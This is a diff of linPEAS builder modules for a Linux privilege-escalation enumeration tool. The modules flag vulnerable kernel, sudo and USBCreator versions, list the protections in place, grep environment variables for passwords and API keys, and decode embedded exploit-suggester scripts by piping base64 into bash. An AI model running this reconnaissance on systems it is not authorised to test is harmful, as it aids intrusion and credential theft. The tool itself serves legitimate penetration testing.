include_modules = args.include.split(",") if args.include else []
include_modules = [m.strip().lower() for m in include_modules]
exclude_modules = args.exclude.split(",") if args.exclude else []
exclude_modules = [m.strip().lower() for m in exclude_modules]
output = args.output
# If not all, all-no-fat, small or include, exit
if not args.all and not args.all_no_fat and not args.small and not args.include:
print("You must specify one of the following options: --all, --all-no-fat, --small or --include")
parser.print_help()
exit(1)
main(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules, output)

20
linPEAS/builder/linpeas_parts/10_api_keys_regex/regexes.sh Normal file
View File

@ -0,0 +1,20 @@
# Title: API Keys Regex - Regexes
# ID: RX_regexes
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Regexes
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, search_for_regex
# Global Variables: $REGEXES, $TIMEOUT
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then
peass{REGEXES}
else
echo "Regexes to search for API keys aren't activated, use param '-r' "
fi

243
linPEAS/builder/linpeas_parts/1_system_information.sh
View File

@ -1,243 +0,0 @@
###########################################
#-------------) System Info (-------------#
###########################################
#-- SY) OS
print_2title "Operative system"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
warn_exec lsb_release -a 2>/dev/null
if [ "$MACPEAS" ]; then
warn_exec system_profiler SPSoftwareDataType
fi
echo ""
#-- SY) Sudo
print_2title "Sudo version"
if [ "$(command -v sudo 2>/dev/null)" ]; then
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
else echo_not_found "sudo"
fi
echo ""
#--SY) USBCreator
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
print_2title "USBCreator"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
if [ -z "$pc_version" ]; then
pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2)
fi
if [ -n "$pc_version" ]; then
pc_length=${#pc_version}
pc_major=$(echo "$pc_version" | cut -d. -f1)
pc_minor=$(echo "$pc_version" | cut -d. -f2)
if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then
echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED},"
fi
fi
fi
echo ""
#-- SY) PATH
print_2title "PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
if ! [ "$IAMROOT" ]; then
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
fi
if [ "$DEBUG" ]; then
echo "New path exported: $PATH"
fi
echo ""
#-- SY) Date
print_2title "Date & uptime"
warn_exec date 2>/dev/null
warn_exec uptime 2>/dev/null
echo ""
#-- SY) System stats
if [ "$EXTRA_CHECKS" ]; then
print_2title "System stats"
(df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk"
warn_exec free 2>/dev/null
echo ""
fi
#-- SY) CPU info
if [ "$EXTRA_CHECKS" ]; then
print_2title "CPU info"
warn_exec lscpu 2>/dev/null
echo ""
fi
if [ -d "/dev" ] || [ "$DEBUG" ] ; then
print_2title "Any sd*/disk* disk in /dev? (limit 20)"
ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20
echo ""
fi
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
print_2title "Unmounted file-system?"
print_info "Check if you can mount umounted devices"
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
echo ""
fi
if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then
print_2title "Mounted disks information"
warn_exec diskutil list
echo ""
fi
if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then
print_2title "Mounted SMB Shares"
warn_exec smbutil statshares -a
echo ""
fi
#-- SY) Environment vars
print_2title "Environment"
print_info "Any private information inside environment variables?"
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
echo ""
#-- SY) Dmesg
if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching Signature verification failed in dmesg"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
echo ""
fi
#-- SY) Kernel extensions
if [ "$MACPEAS" ]; then
print_2title "Kernel Extensions not belonging to apple"
kextstat 2>/dev/null | grep -Ev " com.apple."
print_2title "Unsigned Kernel Extensions"
macosNotSigned /Library/Extensions
macosNotSigned /System/Library/Extensions
fi
if [ "$(command -v bash 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester"
print_info "https://github.com/mzet-/linux-exploit-suggester"
les_b64="peass{LES}"
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
echo ""
fi
if [ "$(command -v perl 2>/dev/null)" ]; then
print_2title "Executing Linux Exploit Suggester 2"
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
les2_b64="peass{LES2}"
echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
echo ""
fi
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then
print_2title "Brew Doctor Suggestions"
brew doctor
echo ""
fi
#-- SY) AppArmor
print_2title "Protections"
print_list "AppArmor enabled? .............. "$NC
if [ "$(command -v aa-status 2>/dev/null)" ]; then
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
ls -d /etc/apparmor*
else
echo_not_found "AppArmor"
fi
#-- SY) AppArmor2
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
#-- SY) LinuxONE
print_list "is linuxONE? ................... "$NC
( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
#-- SY) grsecurity
print_list "grsecurity present? ............ "$NC
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
#-- SY) PaX
print_list "PaX bins present? .............. "$NC
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
#-- SY) Execshield
print_list "Execshield enabled? ............ "$NC
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
#-- SY) SElinux
print_list "SELinux enabled? ............... "$NC
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
#-- SY) Seccomp
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) AppArmor
print_list "User namespace? ................ "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
#-- SY) cgroup2
print_list "Cgroup2 enabled? ............... "$NC
([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) Gatekeeper
if [ "$MACPEAS" ]; then
print_list "Gatekeeper enabled? .......... "$NC
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
print_list "sleepimage encrypted? ........ "$NC
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
print_list "XProtect? .................... "$NC
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
print_list "SIP enabled? ................. "$NC
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
print_list "Connected to JAMF? ........... "$NC
warn_exec jamf checkJSSConnection
print_list "Connected to AD? ............. "$NC
dsconfigad -show && echo "" || echo_no
fi
#-- SY) ASLR
print_list "Is ASLR enabled? ............... "$NC
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ -z "$ASLR" ]; then
echo_not_found "/proc/sys/kernel/randomize_va_space";
else
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
echo ""
fi
#-- SY) Printer
print_list "Printer? ....................... "$NC
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
#-- SY) Running in a virtual environment
print_list "Is this a virtual machine? ..... "$NC
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then
detectedvirt=$(systemd-detect-virt)
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
else
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
fi

19
linPEAS/builder/linpeas_parts/1_system_information/10_Enviroment.sh Normal file
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# Title: System Information - Enviroment
# ID: SY_Enviroment
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information inside environment variables
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Environment"
print_info "Any private information inside environment variables?"
(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set"
echo ""

21
linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh Normal file
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# Title: System Information - Dmesg
# ID: SY_Dmesg
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Searching Signature verification failed in dmesg
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $DEBUG
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$(command -v dmesg 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then
print_2title "Searching Signature verification failed in dmesg"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed"
(dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg"
echo ""
fi

31
linPEAS/builder/linpeas_parts/1_system_information/12_Macos_os_checks.sh Normal file
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# Title: System Information - MacOS OS checks
# ID: SY_Macos_os_checks
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Macos OS checks
# License: GNU GPL
# Version: 1.0
# Functions Used:macosNotSigned, print_2title
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$MACPEAS" ]; then
print_2title "Kernel Extensions not belonging to apple"
kextstat 2>/dev/null | grep -Ev " com.apple."
echo ""
print_2title "Unsigned Kernel Extensions"
macosNotSigned /Library/Extensions
macosNotSigned /System/Library/Extensions
echo ""
fi
if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null || echo -n '')" ]; then
print_2title "Brew Doctor Suggestions"
brew doctor
echo ""
fi

22
linPEAS/builder/linpeas_parts/1_system_information/13_Linux_exploit_suggester.sh Normal file
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# Title: System Information - Linux Exploit Suggester
# ID: SY_Linux_exploit_suggester
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Linux Exploit Suggester tool execution
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $MACPEAS
# Initial Functions:
# Generated Global Variables: $les_b64
# Fat linpeas: 0
# Small linpeas: 1
if [ "$(command -v bash 2>/dev/null || echo -n '')" ] && ! [ "$MACPEAS" ]; then
print_2title "Executing Linux Exploit Suggester"
print_info "https://github.com/mzet-/linux-exploit-suggester"
les_b64="peass{https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh}"
echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s/\[(CVE-[0-9]+-[0-9]+,?)+\].*/${SED_RED}/g"
echo ""
fi

22
linPEAS/builder/linpeas_parts/1_system_information/14_Linux_exploit_suggester_2.sh Normal file
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# Title: System Information - Linux Exploit Suggester 2
# ID: SY_Linux_exploit_suggester_2
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Linux Exploit Suggester 2 tool execution
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables:
# Initial Functions:
# Generated Global Variables: $les2_b64
# Fat linpeas: 1
# Small linpeas: 0
if [ "$(command -v perl 2>/dev/null || echo -n '')" ] && ! [ "$MACPEAS" ]; then
print_2title "Executing Linux Exploit Suggester 2"
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
les2_b64="peass{https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl}"
echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -iE "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
echo ""
fi

115
linPEAS/builder/linpeas_parts/1_system_information/15_Protections.sh Normal file
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# Title: System Information - Kernel Extensions
# ID: SY_Protections
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Kernel Extensions
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_list, warn_exec
# Global Variables:
# Initial Functions:
# Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt
# Fat linpeas: 0
# Small linpeas: 0
#-- SY) AppArmor
print_2title "Protections"
print_list "AppArmor enabled? .............. "$NC
if [ "$(command -v aa-status 2>/dev/null || echo -n '')" ]; then
aa-status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(command -v apparmor_status 2>/dev/null || echo -n '')" ]; then
apparmor_status 2>&1 | sed "s,disabled,${SED_RED},"
elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then
ls -d /etc/apparmor*
else
echo_not_found "AppArmor"
fi
#-- SY) AppArmor2
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
#-- SY) LinuxONE
print_list "is linuxONE? ................... "$NC
( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x")
#-- SY) grsecurity
print_list "grsecurity present? ............ "$NC
( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity")
#-- SY) PaX
print_list "PaX bins present? .............. "$NC
(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX")
#-- SY) Execshield
print_list "Execshield enabled? ............ "$NC
(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED},"
#-- SY) SElinux
print_list "SELinux enabled? ............... "$NC
(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
#-- SY) Seccomp
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) AppArmor
print_list "User namespace? ................ "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
#-- SY) cgroup2
print_list "Cgroup2 enabled? ............... "$NC
([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
#-- SY) Gatekeeper
if [ "$MACPEAS" ]; then
print_list "Gatekeeper enabled? .......... "$NC
(spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED},"
print_list "sleepimage encrypted? ........ "$NC
(sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no
print_list "XProtect? .................... "$NC
(system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no
print_list "SIP enabled? ................. "$NC
csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
print_list "Sealed Snapshot? ............. "$NC
diskutil apfs list | grep "Snapshot Sealed" | awk -F: '{print $2}' | tr -d '[:space:]' | sed "s,Yes,${SED_GREEN}," | sed "s,No,${SED_RED}," || echo_not_found
print_list "Sealed Snapshot (2nd)? ....... "$NC
csrutil authenticated-root status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no
print_list "Connected to JAMF? ........... "$NC
warn_exec jamf checkJSSConnection
print_list "Connected to AD? ............. "$NC
dsconfigad -show && echo "" || echo_no
fi
#-- SY) ASLR
print_list "Is ASLR enabled? ............... "$NC
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ -z "$ASLR" ]; then
echo_not_found "/proc/sys/kernel/randomize_va_space";
else
if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi
echo ""
fi
#-- SY) Printer
print_list "Printer? ....................... "$NC
(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null
#-- SY) Running in a virtual environment
print_list "Is this a virtual machine? ..... "$NC
hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor)
if [ "$(command -v systemd-detect-virt 2>/dev/null || echo -n '')" ]; then
detectedvirt=$(systemd-detect-virt)
if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi
else
if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi
fi

22
linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh Normal file
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# Title: System Information - Operative System
# ID: SY_Operative_system
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the Operative system
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info, warn_exec
# Global Variables: $MACPEAS, $kernelDCW_Ubuntu_Precise_1, $kernelB, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Operative system"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
warn_exec lsb_release -a 2>/dev/null
if [ "$MACPEAS" ]; then
warn_exec system_profiler SPSoftwareDataType
fi
echo ""

22
linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh Normal file
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# Title: System Information - Sudo Version
# ID: SY_Sudo_version
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the Sudo Version
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $sudovB
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Sudo version"
if [ "$(command -v sudo 2>/dev/null || echo -n '')" ]; then
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
else echo_not_found "sudo"
fi
echo ""

33
linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh Normal file
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# Title: System Information - USBCreator
# ID: SY_USBCreator
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the USBCreator
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $DEBUG
# Initial Functions:
# Generated Global Variables: $pc_version, $pc_length, $pc_major, $pc_minor
# Fat linpeas: 0
# Small linpeas: 0
if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
print_2title "USBCreator"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
if [ -z "$pc_version" ]; then
pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2)
fi
if [ -n "$pc_version" ]; then
pc_length=${#pc_version}
pc_major=$(echo "$pc_version" | cut -d. -f1)
pc_minor=$(echo "$pc_version" | cut -d. -f2)
if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then
echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED},"
fi
fi
fi
echo ""

25
linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh Normal file
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# Title: System Information - Path
# ID: SY_Path
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the Path
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $DEBUG, $IAMROOT, $OLDPATH, $PATH, $Wfolders
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses"
if ! [ "$IAMROOT" ]; then
echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g"
fi
if [ "$DEBUG" ]; then
echo "New path exported: $PATH"
fi
echo ""

19
linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh Normal file
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# Title: System Information - Date
# ID: SY_Date
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the Date
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
print_2title "Date & uptime"
warn_exec date 2>/dev/null
warn_exec uptime 2>/dev/null
echo ""

20
